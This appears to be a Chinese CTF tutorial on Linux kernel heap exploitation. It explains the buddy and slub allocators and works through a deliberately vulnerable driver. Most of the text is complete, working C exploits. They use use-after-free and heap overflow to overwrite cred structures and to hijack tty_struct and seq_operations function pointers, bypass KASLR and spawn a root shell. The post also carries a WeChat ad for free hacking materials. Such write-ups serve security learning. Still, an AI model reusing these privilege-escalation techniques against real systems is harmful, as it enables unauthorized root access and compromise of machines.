前言
本文還是用一道例題來講解幾種核心堆利用方法,核心堆利用手段比較多,可能會分三期左右寫。進行核心堆利用前,可以先了解一下核心堆的基本概念,當然更好去找一些詳細的核心堆的基礎知識。
概述
Linux kernel
將記憶體分為 頁(page)→區(zone)→節點(node)
三級結構,主要有兩個記憶體管理器—— buddy system
與 slub allocator
,前者負責以記憶體頁為粒度管理所有可用的實體記憶體,後者則以slab
分配器為基礎向前者請求記憶體頁並劃分為多個較小的物件(object)以進行細粒度的記憶體管理。
budy system
buddy system
以 page
為粒度管理著所有的實體記憶體,在每個 zone
結構體中都有一個 free_area
結構體陣列,用以儲存 buddy system
按照 order
管理的頁面:
-
分配:
-
首先會將請求的記憶體大小向 2 的冪次方張記憶體頁大小對齊,之後從對應的下標取出連續記憶體頁。
-
若對應下標連結串列為空,則會從下一個 order 中取出記憶體頁,一分為二,裝載到當前下標對應連結串列中,之後再返還給上層呼叫,若下一個 order 也為空則會繼續向更高的 order 進行該請求過程。
-
-
釋放:
-
將對應的連續記憶體頁釋放到對應的連結串列上。
-
檢索是否有可以合併的記憶體頁,若有,則進行合成,放入更高 order 的連結串列中。
-
slub allocator
slub_allocator
是基於 slab_alloctor
的分配器。slab allocator
向 buddy system
請求單張或多張連續記憶體頁後再分割成同等大小的 object
返還給上層呼叫者來實現更為細粒度的記憶體管理。
-
分配:
-
首先從
kmem_cache_cpu
上取物件,若有則直接返回。 -
若
kmem_cache_cpu
上的slub
已經無空閒物件了,對應slub
會被從kmem_cache_cpu
上取下,並嘗試從partial
連結串列上取一個slub
掛載到kmem_cache_cpu
上,然後再取出空閒物件返回。 -
若
kmem_cache_node
的partial
連結串列也空了,那就向buddy system
請求分配新的記憶體頁,劃分為多個object
之後再給到kmem_cache_cpu
,取空閒物件返回上層呼叫。
-
-
釋放:
-
若被釋放
object
屬於kmem_cache_cpu
的slub
,直接使用頭插法插入當前CPU slub
的freelist
。 -
若被釋放
object
屬於kmem_cache_node
的partial
連結串列上的slub
,直接使用頭插法插入對應slub
的freelist
。 -
若被釋放
object
為full slub
,則其會成為對應slub
的freelist
頭節點,且該slub
會被放置到partial
連結串列。
-
【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
heap_bof
題目分析
題目給了原始碼,存在UAF
和heap overflow
兩種漏洞。核心版本為4.4.27
#include <asm/uaccess.h>
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/types.h>
struct class *bof_class;
struct cdev cdev;
int bof_major = 256;
char *ptr[40];// 指標陣列,用於存放分配的指標
struct param {
size_t len; // 內容長度
char *buf; // 使用者態緩衝區地址
unsigned long idx;// 表示 ptr 陣列的 索引
};
long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
struct param p_arg;
copy_from_user(&p_arg, (void *) arg, sizeof(struct param));
long retval = 0;
switch (cmd) {
case 9:
copy_to_user(p_arg.buf, ptr[p_arg.idx], p_arg.len);
printk("copy_to_user: 0x%lx\n", *(long *) ptr[p_arg.idx]);
break;
case 8:
copy_from_user(ptr[p_arg.idx], p_arg.buf, p_arg.len);
break;
case 7:
kfree(ptr[p_arg.idx]);
printk("free: 0x%p\n", ptr[p_arg.idx]);
break;
case 5:
ptr[p_arg.idx] = kmalloc(p_arg.len, GFP_KERNEL);
printk("alloc: 0x%p, size: %2lx\n", ptr[p_arg.idx], p_arg.len);
break;
default:
retval = -1;
break;
}
return retval;
}
static const struct file_operations bof_fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = bof_ioctl,//linux 2.6.36核心之後unlocked_ioctl取代ioctl
};
static int bof_init(void) {
//裝置號
dev_t devno = MKDEV(bof_major, 0);
int result;
if (bof_major)//靜態分配裝置號
result = register_chrdev_region(devno, 1, "bof");
else {//動態分配裝置號
result = alloc_chrdev_region(&devno, 0, 1, "bof");
bof_major = MAJOR(devno);
}
printk("bof_major /dev/bof: %d\n", bof_major);
if (result < 0) return result;
bof_class = class_create(THIS_MODULE, "bof");
device_create(bof_class, NULL, devno, NULL, "bof");
cdev_init(&cdev, &bof_fops);
cdev.owner = THIS_MODULE;
cdev_add(&cdev, devno, 1);
return 0;
}
static void bof_exit(void) {
cdev_del(&cdev);
device_destroy(bof_class, MKDEV(bof_major, 0));
class_destroy(bof_class);
unregister_chrdev_region(MKDEV(bof_major, 0), 1);
printk("bof exit success\n");
}
MODULE_AUTHOR("exp_ttt");
MODULE_LICENSE("GPL");
module_init(bof_init);
module_exit(bof_exit);
boot.sh
這道題是多核多執行緒。並且開啟了smep
和smap
。
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-m 512M \
-nographic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
-monitor /dev/null \
-smp cores=2,threads=2 \
-cpu kvm64,+smep,+smap \
kernel Use After Free
利用思路
cred
結構體大小為 0xa8
,根據 slub
分配機制,如果申請和釋放大小為 0xa8
(實際為 0xc0
)的記憶體塊,此時再開一個執行緒,則該執行緒的 cred
結構題正是剛才釋放掉的記憶體塊。利用 UAF
漏洞修改 cred
就可以實現提權。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/wait.h>
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
struct param {
size_t len; // 內容長度
char *buf; // 使用者態緩衝區地址
unsigned long idx;// 表示 ptr 陣列的 索引
};
int main() {
int fd = open("dev/bof", O_RDWR);
struct param p = {0xa8, malloc(0xa8), 1};
ioctl(fd, BOF_MALLOC, &p);
ioctl(fd, BOF_FREE, &p);
int pid = fork(); // 這個執行緒申請的cred結構體obj即為剛才釋放的obj。
if (pid < 0) {
puts("[-]fork error");
return -1;
}
if (pid == 0) {
p.buf = malloc(p.len = 0x30);
memset(p.buf, 0, p.len);
ioctl(fd, BOF_EDIT, &p); // 修改使用者ID
if (getuid() == 0) {
puts("[+]root success");
system("/bin/sh");
} else {
puts("[-]root failed");
}
} else {
wait(NULL);
}
close(fd);
return 0;
}
但是此種方法在較新版本 kernel
中已不可行,我們已無法直接分配到 cred_jar
中的 object
,這是因為 cred_jar
在建立時設定了 SLAB_ACCOUNT
標記,在 CONFIG_MEMCG_KMEM=y
時(預設開啟)cred_jar
不會再與相同大小的 kmalloc-192
進行合併。
// kernel version == 4.4.72
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
}
// kernel version == 4.5
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}
heap overflow
溢位修改 cred
,和前面 UAF 修改 cred
一樣,在新版本失效。多核堆塊難免會亂序,溢位之前記得多申請一些0xc0
大小的obj
,因為我們 freelist
中存在很多之前使用又被釋放的obj
導致的obj
亂序。我們需要一個排列整齊的記憶體塊用於修改。
利用思路
-
多申請幾個
0xa8
大小的記憶體塊,將原有混亂的freelist
變為地址連續的freelist
。 -
利用堆溢位,修改被重新申請作為
cred
的ptr[5]
憑證區為0
。
exp
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/wait.h>
struct param {
size_t len; // 內容長度
char *buf; // 使用者態緩衝區地址
long long idx; // 表示 ptr 陣列的 索引
};
const int BOF_NUM = 10;
int main(void) {
int bof_fd = open("/dev/bof", O_RDWR);
if (bof_fd == -1) {
puts("[-] Failed to open bof device.");
exit(-1);
}
struct param p = {0xa8, malloc(0xa8), 0};
// 讓驅動分配 0x40 個 0xa8 的記憶體塊
for (int i = 0; i < 0x40; i++) {
ioctl(bof_fd, 5, &p); // malloc
}
puts("[*] clear heap done");
// 讓驅動分配 10 個 0xa8 的記憶體塊
for (p.idx = 0; p.idx < BOF_NUM; p.idx++) {
ioctl(bof_fd, 5, &p); // malloc
}
p.idx = 5;
ioctl(bof_fd, 7, &p); // free
// 呼叫 fork 分配一個 cred結構體
int pid = fork();
if (pid < 0) {
puts("[-] fork error");
exit(-1);
}
// 此時 ptr[4] 和 cred相鄰
// 溢位 修改 cred 實現提權
p.idx = 4, p.len = 0xc0 + 0x30;
memset(p.buf, 0, p.len);
ioctl(bof_fd, 8, &p);
if (!pid) {
//一直到egid及其之前的都變為了0,這個時候就已經會被認為是root了
size_t uid = getuid();
printf("[*] uid: %zx\n", uid);
if (!uid) {
puts("[+] root success");
// 許可權修改完畢,啟動一個shell,就是root的shell了
system("/bin/sh");
} else {
puts("[-] root fail");
}
} else {
wait(0);
}
return 0;
}
tty_struct 劫持
boot.sh
這道題gadget
較少,我們就關了smep
保護。
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.img \
-kernel bzImage \
-m 512M \
-nographic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
-monitor /dev/null \
-s \
-cpu kvm64 \
-smp cores=1,threads=1 \
--nographic
利用思路
在 /dev
下有一個偽終端裝置 ptmx
,在我們開啟這個裝置時核心中會建立一個 tty_struct
結構體,
ptmx_open (drivers/tty/pty.c)
-> tty_init_dev (drivers/tty/tty_io.c)
-> alloc_tty_struct (drivers/tty/tty_io.c)
tty
的結構體 tty_srtuct
定義在 linux/tty.h
中。其中 ops
項(64bit
下位於 結構體偏移 0x18
處)指向一個存放 tty
相關操作函式的函式指標的結構體 tty_operations
。其魔數為0x5401
// sizeof(struct tty_struct) == 0x2e0
/* tty magic number */
#define TTY_MAGIC 0x5401
struct tty_struct {
...
const struct tty_operations *ops;
...
}
struct tty_operations {
...
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
...
};
使用 tty
裝置的前提是掛載了 ptmx
裝置。
mkdir /dev/pts
mount -t devpts none /dev/pts
chmod 777 /dev/ptmx
所以我們只需要劫持 tty_ops
的某個可觸發的操作即可,將其劫持到 get_root
函式處。
exp
#include <sys/wait.h>
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
void *(*commit_creds)(void *) = (void *) 0xffffffff810a1340;
size_t init_cred = 0xFFFFFFFF81E496C0;
void get_shell()
{
system("/bin/sh");
}
unsigned long user_cs, user_rflags, user_rsp, user_ss, user_rip = (size_t) get_shell;
void save_status() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
size_t kernel_offset;
void get_root() {
// 透過棧上殘留地址來繞過 KASLR
__asm__(
"mov rbx, [rsp + 8];"
"mov kernel_offset, rbx;"
);
kernel_offset -= 0xffffffff814f604f;
commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
init_cred = (void *) ((size_t) init_cred + kernel_offset);
commit_creds(init_cred);
__asm__(
"swapgs;"
"push user_ss;"
"push user_rsp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
struct param {
size_t len; // 內容長度
char *buf; // 使用者態緩衝區地址
long long idx; // 表示 ptr 陣列的 索引
};
int main(int argc, char const *argv[])
{
save_status();
size_t fake_tty_ops[] = {
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
get_root
};
// len buf idx
struct param p = {0x2e0, malloc(0x2e0), 0};
printf("[*]p_addr==>%p\n", &p);
int bof_fd = open("/dev/bof", O_RDWR);
p.len = 0x2e0;
ioctl(bof_fd, BOF_MALLOC, &p);
memset(p.buf, '\xff', 0x2e0);
ioctl(bof_fd, BOF_EDIT, &p);
ioctl(bof_fd, BOF_FREE, &p);
int ptmx_fd = open("/dev/ptmx", O_RDWR);
p.len = 0x20;
ioctl(bof_fd, BOF_READ, &p);
printf("[*]magic_code==> %p -- %p\n", &p.buf[0], *(size_t *)&p.buf[0]);
printf("[*]tty____ops==> %p -- %p\n", &p.buf[0x18], *(size_t *)&p.buf[0x18]);
*(size_t *)&p.buf[0x18] = &fake_tty_ops;
ioctl(bof_fd, BOF_EDIT, &p);
ioctl(ptmx_fd, 0, 0);
return 0;
}
seq_operations 劫持
boot.sh
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.img \
-kernel bzImage \
-m 512M \
-nographic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
-monitor /dev/null \
-s \
-cpu kvm64 \
-smp cores=1,threads=1 \
--nographic
利用思路
seq_operations
結構如下,該結構在開啟 /proc/self/stat
時從 kmalloc-32
中分配。
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
呼叫讀取 stat
檔案時會呼叫 seq_operations
的 start
函式指標。
ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
struct seq_file *m = file->private_data;
...
p = m->op->start(m, &pos);
...
當我們在 heap_bof
驅動分配 0x20
大小的 object
後開啟大量的 stat
檔案就有很大機率在 heap_bof
分配的 object
的溢位範圍記憶體在 seq_operations
結構體。由於這道題關閉了 SMEP
,SMAP
和 KPTI
保護,因此我們可以覆蓋 start
函式指標為使用者空間的提權程式碼實現提權。至於 KASLR
可以透過洩露棧上的資料繞過。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
struct param {
size_t len; // 內容長度
char *buf; // 使用者態緩衝區地址
long long idx;// 表示 ptr 陣列的 索引
};
const int SEQ_NUM = 0x200;
const int DATA_SIZE = 0x20 * 8;
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
void get_shell() {
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss, user_rip = (size_t) get_shell;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
void *init_cred = (void *) 0xFFFFFFFF81E496C0;
size_t kernel_offset;
void get_root() {
// 透過棧上的殘留值繞過KASLR。
__asm__(
"mov rax, [rsp + 8];"
"mov kernel_offset, rax;"
);
kernel_offset -= 0xffffffff81229378;
commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
init_cred = (void *) ((size_t) init_cred + kernel_offset);
commit_creds(init_cred);
__asm__(
"swapgs;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
int main() {
save_status();
int bof_fd = open("dev/bof", O_RDWR);
if (bof_fd < 0) {
puts("[-] Failed to open bof.");
exit(-1);
}
struct param p = {0x20, malloc(0x20), 0};
for (int i = 0; i < 0x40; i++) {
ioctl(bof_fd, BOF_MALLOC, &p);
}
memset(p.buf, '\xff', p.len);
ioctl(bof_fd, BOF_EDIT, &p);
// 大量噴灑 seq_ops 結構體。
int seq_fd[SEQ_NUM];
for (int i = 0; i < SEQ_NUM; i++) {
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
if (seq_fd[i] < 0) {
puts("[-] Failed to open stat.");
}
}
puts("[*] seq_operations spray finished.");
// 透過溢位,將附近 seq_ops 的指標修改為 get_root地址。
p.len = DATA_SIZE;
p.buf = malloc(DATA_SIZE);
p.idx = 0;
for (int i = 0; i < DATA_SIZE; i += sizeof(size_t)) {
*(size_t *) &p.buf[i] = (size_t) get_root;
}
ioctl(bof_fd, BOF_EDIT, &p);
puts("[*] Heap overflow finished.");
for (int i = 0; i < SEQ_NUM; i++) {
read(seq_fd[i], p.buf, 1);
}
return 0;
}
更多網安技能的線上實操練習,請點選這裡>>